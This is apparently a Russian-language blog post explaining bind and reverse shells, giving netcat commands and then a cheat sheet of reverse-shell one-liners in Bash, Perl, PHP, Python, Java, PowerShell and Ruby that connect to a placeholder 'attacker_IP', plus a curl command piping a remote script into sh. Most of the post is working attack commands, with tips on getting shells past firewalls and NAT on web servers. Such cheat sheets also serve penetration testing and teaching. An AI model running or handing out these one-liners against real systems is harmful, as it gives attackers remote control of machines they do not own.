Поговорим про удаленную консоль. Таковая бывает двух видов - REVERSE и BIND.
BIND SHELL - удаленная консоль, когда в роли серверной части выступает удаленная машина, то есть это когда мы сами пошли в гости и получили доступ к чужой консоли.
REVERSE SHELL - удаленная консоль, когда мы выступаем в роли серверной части и вызываем коннект на себя. То есть это когда мы встречаем гостей у себя дома. И когда гости приходят - мы получаем доступ к их консоли.
Как это реализовать?
BIND SHELL.
1. Для этого на удаленной машине (localhost) выполним команду:
nc -e /bin/bash -nvlp 1337
-e /bin/bash -- команда которую нужно выполнить в случаи удачного подключения, в нашем случае это консоль bash-а которая будет работать интерактивно после подключения.
-n -- numeric-only (использовать только IP-адреса, не использовать dns имена)
-v -- более подробный вывод
-l -- listen-mode (режим слушателя ,который предназначен для входящих соединений)
-p -- порт на котором мы будем слушать
2. На своей машине мы выполним команду:
nc x.x.x.x 1337
x.x.x.x - это IP-адрес машины которая ждет подключение
1337 - это порт на котором нас ждут
Когда же применяется BIND SHELL?
А актуален он тогда когда входящие соединения не блокируются сетевыми фаерволами и IP-адрес удаленной машины виден и доступен с любого сегмента сети. К примеру web-сервер на котором размещен сайт всегда имеет выделенный IP-адрес, и мы можем к нему подключиться находясь в глубоком NATе.
REVERSE SHELL.
3. Для этого нужно поднять у себя листенер (слушатель|серверную часть) на каком нибудь порту:
nc -nvlp 1337
4. На удаленной машине выполнить connection к нашему IP(x.x.x.x) с параметром -e
nc -e /bin/bash x.x.x.x 1337
Когда же применяется REVERSE SHELL ?
А применяется он когда входящие соединения блокируются и когда наш IР-адрес доступен для соединения. Это когда мы с удаленной машиной находимся в одном сегменте сети, или когда у нас есть белый IP-адрес.
Ограничения при построении шелла:
- CloudFlare и аналоги проксируют трафик по указанным правилам, т.е. 80 и 443 порты пройдут, а другие - нет.
- Облачные провайдеры типа Amazon AWS, Digital Ocean, Google Cloud, etc. - даже если веб-сервер в них - это VPS, а не микро-сервис, все равно у VPS не маршрутизируемый адрес, а для выделенных IP отдельно настраиваются правила маршрутизации.
Также бывают ситуации когда NetCat не установлен в системе. В таких ситуациях удаленный шелл можно вызвать стандартными средствами Linux.
BASH:
bash -i >& /dev/tcp/attacker_IP/8080 0>&1
Perl:
perl -e 'use Socket;$i="attacker_IP";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
PHP:
php -r '$sock=fsockopen("attacker_IP",6666);exec("/bin/sh -i <&3 >&3 2>&3");'
Python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker_IP",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Java:
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attacker_IP/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
PowerShell:
$endpoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse("<attacker ip address"),<listening port>);$client = New-Object System.Net.Sockets.UDPClient(53);[byte[]]$bytes = 0..65535|%{0};$sendbytes = ([text.encoding]::ASCII).GetBytes('PS> ');$client.Send($sendbytes,$sendbytes.Length,$endpoint);while($true){;$receivebytes = $client.Receive([ref]$endpoint);$returndata = ([text.encoding]::ASCII).GetString($receivebytes);$sendback = (iex $returndata 2>&1 | Out-String );$sendbytes = ([text.encoding]::ASCII).GetBytes($sendback);$client.Send($sendbytes,$sendbytes.Length,$endpoint)};$client.Close()
Ruby:
ruby -rsocket -e'f=TCPSocket.open("attacker_IP",6666).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
cURL:
curl https://shell.now.sh/1.1.1.1:4444 | sh
Успехов.
No comments:
Post a Comment
А что вы думаете по этому поводу?